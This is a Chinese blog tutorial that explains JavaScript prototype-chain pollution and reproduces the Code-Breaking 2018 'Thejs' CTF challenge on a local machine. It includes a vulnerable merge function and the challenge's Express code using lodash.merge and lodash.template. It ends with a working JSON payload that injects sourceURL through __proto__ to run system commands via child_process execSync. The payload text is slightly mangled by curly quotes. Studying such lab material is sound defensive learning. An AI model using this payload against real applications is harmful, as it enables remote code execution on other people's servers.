当前位置:   article > 正文

原型链污染漏洞复现_lodash.merge库中的原型污染漏洞

lodash.merge库中的原型污染漏洞

1.原型链

在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。
实例对象可以通过__proto__访问其原型对象:
例如:

>  let obj = {};
<· undefined
>  obj.__proto__;
<· {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
  • 1
  • 2
  • 3
  • 4

而经过不断的调用,最终的原型对象会调用到null,这将作为该原型链的最后一个环节,与之对应的,作为终点的null自然也是没有原型对象的

在javascript中,有时会看到大写的Function,这个和小写的function有本质的区别

function 是一个用于定义函数的关键字。

Function 是代表所有函数的内置原型对象。

prototype

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
例如:

function Foo() {
    this.bar = 1
}

new Foo()
  • 1
  • 2
  • 3
  • 4
  • 5

上面Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性,个人认为一定要清楚this的指向问题;一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
(new Foo()).show()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。而我们希望this.show只调用一次就可以了。所以代码改进如下:

    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法,有点像继承,但是又有点区别。

proto

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,意思就是

foo.__proto__ == Foo.prototype

所以:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

JavaScript原型链继承

先看代码:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

上面最后输出的是
Name: Melania Trump

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

这就是原型链的体现,自身没有就向上找,直到为null为止。

2.原型链污染

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
例子:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}
console.log(foo.bar)  //此时会打印 1

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1,
//因为先查找自身,自身有就直接打印,此时不会去找object
console.log(foo.bar)  //打印 1

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)  //此时会打印 2
//很明显,zoo本来是一个空对象,但是zoo.bar居然打印出了2
//因为它自身没有,就会根据原型链向上找,然而我们的object上有这个属性,所以它就打印了
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

哪些情况下原型链会被污染

  • 对象merge 结合 拼接
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

例子:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

上面代码在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
验证一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)  //会输出undefined
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

结果是,合并虽然成功了,但原型链没有被污染…
因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,我们拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。
改进后:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)  //此时会打印 2
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

此时会打印 2 ,说明新建的o3对象,也存在b属性,说明Object已经被污染

原型链漏洞复现

我在本机上简单复现的
首先需要VScode,phpstudy,以及nodejs,burpsuit抓包
然后需要一个环境以及题目
题目Code-Breaking 2018 Thejs

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

环境:

在这里插入图片描述
下载nodejs后,将web文件夹放在nodejs文件下
然后以管理员身份打开cmd cd进到nodejs/web目录下
输入 npm install,如下图就可以了在这里插入图片描述
然后npm list 查看一下
在这里插入图片描述

接下来把web文件中的index.ejs的链接地址改为自己本机的IP地址
在这里插入图片描述

在这里插入图片描述

node server.js查看一下监听的端口(一般为3000)

在这里插入图片描述

然后用本机地址看看3000端口,如下图:
在这里插入图片描述
然后开启burpsuit抓包

在这里插入图片描述

然后修改两处

在这里插入图片描述
第一处是为了能解析,将x-www-from-urlencode修改为json
第二处是我们构造的playload:

{“proto”: {“sourceURL”: “\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load(‘child_process’).execSync(‘id’)}\u000a//”}}

在这里插入图片描述

这里测试ipconfig

在这里插入图片描述
到此复现完成。
原理就是用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。而这里的lodash.merge操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/513777
推荐阅读
相关标签
  

闽ICP备14008679号